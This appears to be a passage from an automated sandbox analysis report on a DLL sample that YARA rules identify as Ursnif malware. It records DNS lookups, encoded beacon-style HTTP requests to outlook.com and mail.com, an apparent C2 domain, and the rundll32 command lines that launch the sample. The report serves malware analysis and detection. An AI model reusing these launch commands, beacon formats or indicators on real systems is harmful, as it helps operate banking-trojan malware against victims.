Jul 9, 2021 15:36:42.147253990 CEST	8.8.8.8	192.168.2.4	0xbbed	No error (0)	ZRH-efz.ms-acdc.office.com		52.97.232.194	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:42.147253990 CEST	8.8.8.8	192.168.2.4	0xbbed	No error (0)	ZRH-efz.ms-acdc.office.com		52.97.201.226	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:42.147253990 CEST	8.8.8.8	192.168.2.4	0xbbed	No error (0)	ZRH-efz.ms-acdc.office.com		52.97.186.146	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:42.147253990 CEST	8.8.8.8	192.168.2.4	0xbbed	No error (0)	ZRH-efz.ms-acdc.office.com		52.98.168.178	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:42.261642933 CEST	8.8.8.8	192.168.2.4	0xb812	No error (0)	outlook.office365.com	outlook.ha.office365.com		CNAME (Canonical name)	IN (0x0001)
Jul 9, 2021 15:36:42.261642933 CEST	8.8.8.8	192.168.2.4	0xb812	No error (0)	outlook.ha.office365.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 9, 2021 15:36:42.261642933 CEST	8.8.8.8	192.168.2.4	0xb812	No error (0)	outlook.ms-acdc.office.com	ZRH-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Jul 9, 2021 15:36:42.261642933 CEST	8.8.8.8	192.168.2.4	0xb812	No error (0)	ZRH-efz.ms-acdc.office.com		52.97.201.210	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:42.261642933 CEST	8.8.8.8	192.168.2.4	0xb812	No error (0)	ZRH-efz.ms-acdc.office.com		52.97.201.242	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:42.261642933 CEST	8.8.8.8	192.168.2.4	0xb812	No error (0)	ZRH-efz.ms-acdc.office.com		52.98.163.18	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:42.261642933 CEST	8.8.8.8	192.168.2.4	0xb812	No error (0)	ZRH-efz.ms-acdc.office.com		52.97.232.194	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:57.681952953 CEST	8.8.8.8	192.168.2.4	0x2356	Server failure (2)	taybhctdyehfhgthp2.xyz	none	none	A (IP address)	IN (0x0001)
Jul 9, 2021 15:36:57.956423044 CEST	8.8.8.8	192.168.2.4	0x2482	Server failure (2)	taybhctdyehfhgthp2.xyz	none	none	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

outlook.com

mail.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49755	40.97.128.194	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 15:35:10.174988985 CEST	1422	OUT	GET /jdraw/OvXGpKzLxUlvc/5YmODYZ1/gEki0c5_2Bcj_2BJgBmclYf/4zl_2FiIGx/zg7_2FVzTFFpxQ0Zg/IVmTcFICtOu9/15kAqnW78YI/MXCY1lZONnEzVM/eyszldhHfL9FhdO1fFyz9/RRaqeJksBpKD0xlU/B2SSOZmmpvCp3sI/4IJYpEC_2BP8ptXo3E/E9fvTGTLb/WJ6m1MuHv/Uxoe1d.crw HTTP/1.1 Accept: text/html, application/xhtml+xml, image/jxr, / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: outlook.com Connection: Keep-Alive
Jul 9, 2021 15:35:10.304406881 CEST	1464	IN	HTTP/1.1 301 Moved Permanently Cache-Control: no-cache Pragma: no-cache Location: https://outlook.com/jdraw/OvXGpKzLxUlvc/5YmODYZ1/gEki0c5_2Bcj_2BJgBmclYf/4zl_2FiIGx/zg7_2FVzTFFpxQ0Zg/IVmTcFICtOu9/15kAqnW78YI/MXCY1lZONnEzVM/eyszldhHfL9FhdO1fFyz9/RRaqeJksBpKD0xlU/B2SSOZmmpvCp3sI/4IJYpEC_2BP8ptXo3E/E9fvTGTLb/WJ6m1MuHv/Uxoe1d.crw Server: Microsoft-IIS/10.0 request-id: ef19a234-808a-e7e4-cc62-665db79bacd1 X-FEServer: DM5PR2201CA0021 X-RequestId: a2a0afcf-d725-4567-b415-2b62550845a2 X-Powered-By: ASP.NET X-FEServer: DM5PR2201CA0021 Date: Fri, 09 Jul 2021 13:35:09 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49788	82.165.229.87	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 15:36:31.032486916 CEST	6725	OUT	GET /jdraw/2x8ENuMVJEai_2FVqcwg/KQQ50kpn0M3L73ENNBE/G1knvzad_2Fg_2BkyCoA3S/RcPZinl4BFdYu/NG5HWnb0/vfvVzx4Doj88hqHzLS5VCB0/IRrw6ObYiX/1_2Fr33YbqAT9Ry0m/a_2FLfkuNA_2/F_2Fy3jjalf/Eg8brnQokZm55h/jGcurV8IMufIt7jFcTF99/whDSjKuT/g9l8UU7_2/B.crw HTTP/1.1 Accept: text/html, application/xhtml+xml, image/jxr, / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: mail.com Connection: Keep-Alive
Jul 9, 2021 15:36:34.056253910 CEST	6726	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 09 Jul 2021 13:36:31 GMT Server: Apache Location: https://mail.com/jdraw/2x8ENuMVJEai_2FVqcwg/KQQ50kpn0M3L73ENNBE/G1knvzad_2Fg_2BkyCoA3S/RcPZinl4BFdYu/NG5HWnb0/vfvVzx4Doj88hqHzLS5VCB0/IRrw6ObYiX/1_2Fr33YbqAT9Ry0m/a_2FLfkuNA_2/F_2Fy3jjalf/Eg8brnQokZm55h/jGcurV8IMufIt7jFcTF99/whDSjKuT/g9l8UU7_2/B.crw Content-Length: 457 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 69 6c 2e 63 6f 6d 2f 6a 64 72 61 77 2f 32 78 38 45 4e 75 4d 56 4a 45 61 69 5f 32 46 56 71 63 77 67 2f 4b 51 51 35 30 6b 70 6e 30 4d 33 4c 37 33 45 4e 4e 42 45 2f 47 31 6b 6e 76 7a 61 64 5f 32 46 67 5f 32 42 6b 79 43 6f 41 33 53 2f 52 63 50 5a 69 6e 6c 34 42 46 64 59 75 2f 4e 47 35 48 57 6e 62 30 2f 76 66 76 56 7a 78 34 44 6f 6a 38 38 68 71 48 7a 4c 53 35 56 43 42 30 2f 49 52 72 77 36 4f 62 59 69 58 2f 31 5f 32 46 72 33 33 59 62 71 41 54 39 52 79 30 6d 2f 61 5f 32 46 4c 66 6b 75 4e 41 5f 32 2f 46 5f 32 46 79 33 6a 6a 61 6c 66 2f 45 67 38 62 72 6e 51 6f 6b 5a 6d 35 35 68 2f 6a 47 63 75 72 56 38 49 4d 75 66 49 74 37 6a 46 63 54 46 39 39 2f 77 68 44 53 6a 4b 75 54 2f 67 39 6c 38 55 55 37 5f 32 2f 42 2e 63 72 77 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://mail.com/jdraw/2x8ENuMVJEai_2FVqcwg/KQQ50kpn0M3L73ENNBE/G1knvzad_2Fg_2BkyCoA3S/RcPZinl4BFdYu/NG5HWnb0/vfvVzx4Doj88hqHzLS5VCB0/IRrw6ObYiX/1_2Fr33YbqAT9Ry0m/a_2FLfkuNA_2/F_2Fy3jjalf/Eg8brnQokZm55h/jGcurV8IMufIt7jFcTF99/whDSjKuT/g9l8UU7_2/B.crw">here</a>.</p></body></html>

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Jul 9, 2021 15:36:34.119978905 CEST	82.165.229.87	443	192.168.2.4	49790	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 9, 2021 15:36:34.119978905 CEST	82.165.229.87	443	192.168.2.4	49790	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 9, 2021 15:36:34.268867970 CEST	82.165.229.59	443	192.168.2.4	49791	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 9, 2021 15:36:34.268867970 CEST	82.165.229.59	443	192.168.2.4	49791	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 9, 2021 15:36:34.272562981 CEST	82.165.229.59	443	192.168.2.4	49792	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 9, 2021 15:36:34.272562981 CEST	82.165.229.59	443	192.168.2.4	49792	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 9, 2021 15:36:34.571751118 CEST	172.217.168.14	443	192.168.2.4	49800	CN=*.google-analytics.com CN=GTS CA 1C3, O=Google Trust Services LLC, C=US CN=GTS Root R1, O=Google Trust Services LLC, C=US	CN=GTS CA 1C3, O=Google Trust Services LLC, C=US CN=GTS Root R1, O=Google Trust Services LLC, C=US CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE	Tue Jun 22 15:35:56 CEST 2021 Thu Aug 13 02:00:42 CEST 2020 Fri Jun 19 02:00:42 CEST 2020	Tue Sep 14 15:35:55 CEST 2021 Thu Sep 30 02:00:42 CEST 2027 Fri Jan 28 01:00:42 CET 2028	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
					CN=GTS CA 1C3, O=Google Trust Services LLC, C=US	CN=GTS Root R1, O=Google Trust Services LLC, C=US	Thu Aug 13 02:00:42 CEST 2020	Thu Sep 30 02:00:42 CEST 2027
					CN=GTS Root R1, O=Google Trust Services LLC, C=US	CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE	Fri Jun 19 02:00:42 CEST 2020	Fri Jan 28 01:00:42 CET 2028
Jul 9, 2021 15:36:34.573301077 CEST	172.217.168.14	443	192.168.2.4	49801	CN=*.google-analytics.com CN=GTS CA 1C3, O=Google Trust Services LLC, C=US CN=GTS Root R1, O=Google Trust Services LLC, C=US	CN=GTS CA 1C3, O=Google Trust Services LLC, C=US CN=GTS Root R1, O=Google Trust Services LLC, C=US CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE	Tue Jun 22 15:35:56 CEST 2021 Thu Aug 13 02:00:42 CEST 2020 Fri Jun 19 02:00:42 CEST 2020	Tue Sep 14 15:35:55 CEST 2021 Thu Sep 30 02:00:42 CEST 2027 Fri Jan 28 01:00:42 CET 2028	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
					CN=GTS CA 1C3, O=Google Trust Services LLC, C=US	CN=GTS Root R1, O=Google Trust Services LLC, C=US	Thu Aug 13 02:00:42 CEST 2020	Thu Sep 30 02:00:42 CEST 2027
					CN=GTS Root R1, O=Google Trust Services LLC, C=US	CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE	Fri Jun 19 02:00:42 CEST 2020	Fri Jan 28 01:00:42 CET 2028
Jul 9, 2021 15:36:34.927581072 CEST	82.165.229.16	443	192.168.2.4	49802	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 9, 2021 15:36:34.927581072 CEST	82.165.229.16	443	192.168.2.4	49802	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 9, 2021 15:36:34.931185961 CEST	82.165.229.16	443	192.168.2.4	49803	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 9, 2021 15:36:34.931185961 CEST	82.165.229.16	443	192.168.2.4	49803	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 9, 2021 15:36:35.549624920 CEST	195.20.250.115	443	192.168.2.4	49807	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 9, 2021 15:36:35.549624920 CEST	195.20.250.115	443	192.168.2.4	49807	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 9, 2021 15:36:35.553442955 CEST	195.20.250.115	443	192.168.2.4	49806	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 9, 2021 15:36:35.553442955 CEST	195.20.250.115	443	192.168.2.4	49806	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 6856 Parent PID: 5840

General

Start time:	15:33:59
Start date:	09/07/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\c36.dll'
Imagebase:	0x9e0000
File size:	116736 bytes
MD5 hash:	542795ADF7CC08EFCF675D65310596E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.790900009.0000000003628000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.790960793.0000000003628000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.790850525.0000000003628000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.790877212.0000000003628000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.790821624.0000000003628000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.790930892.0000000003628000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.790783444.0000000003628000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.790740831.0000000003628000.00000004.00000040.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 6876 Parent PID: 6856

General

Start time:	15:33:59
Start date:	09/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\c36.dll',#1
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6920 Parent PID: 6856

General

Start time:	15:33:59
Start date:	09/07/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\c36.dll,Beautyresult
Imagebase:	0x880000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6932 Parent PID: 6876

General

Start time:	15:33:59
Start date:	09/07/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\c36.dll',#1
Imagebase:	0x880000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.910366216.0000000004E18000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.910522567.0000000004E18000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.910307395.0000000004E18000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.910457867.0000000004E18000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000002.1018360128.0000000004E18000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.910423038.0000000004E18000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.910544336.0000000004E18000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.910564992.0000000004E18000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.910494134.0000000004E18000.00000004.00000040.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6964 Parent PID: 6856

General

Start time:	15:34:04
Start date:	09/07/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\c36.dll,Division
Imagebase:	0x880000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6980 Parent PID: 6856

General

Start time:	15:34:08
Start date:	09/07/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\c36.dll,Fastcolor
Imagebase:	0x880000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 7004 Parent PID: 6856

General

Start time:	15:34:14
Start date:	09/07/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\c36.dll,Yetclose
Imagebase:	0x880000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 7064 Parent PID: 800

General

Start time:	15:35:07
Start date:	09/07/2021
Path:	C:\Program Files\internet explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Imagebase:	0x7ff745960000
File size:	823560 bytes
MD5 hash:	6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 4788 Parent PID: 7064

General

Start time:	15:35:08
Start date:	09/07/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:7064 CREDAT:17410 /prefetch:2
Imagebase:	0xb00000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 244 Parent PID: 800

General

Start time:	15:35:51
Start date:	09/07/2021
Path:	C:\Program Files\internet explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Imagebase:	0x7ff745960000
File size:	823560 bytes
MD5 hash:	6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 4500 Parent PID: 244

General

Start time:	15:35:52
Start date:	09/07/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:244 CREDAT:17410 /prefetch:2
Imagebase:	0xb00000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 4780 Parent PID: 800

General

Start time:	15:36:03
Start date:	09/07/2021
Path:	C:\Program Files\internet explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Imagebase:	0x7ff745960000
File size:	823560 bytes
MD5 hash:	6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 6676 Parent PID: 4780

General

Start time:	15:36:04
Start date:	09/07/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:4780 CREDAT:17410 /prefetch:2
Imagebase:	0xb00000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: iexplore.exe PID: 5592 Parent PID: 800

General

Start time:	15:36:16
Start date:	09/07/2021
Path:	C:\Program Files\internet explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
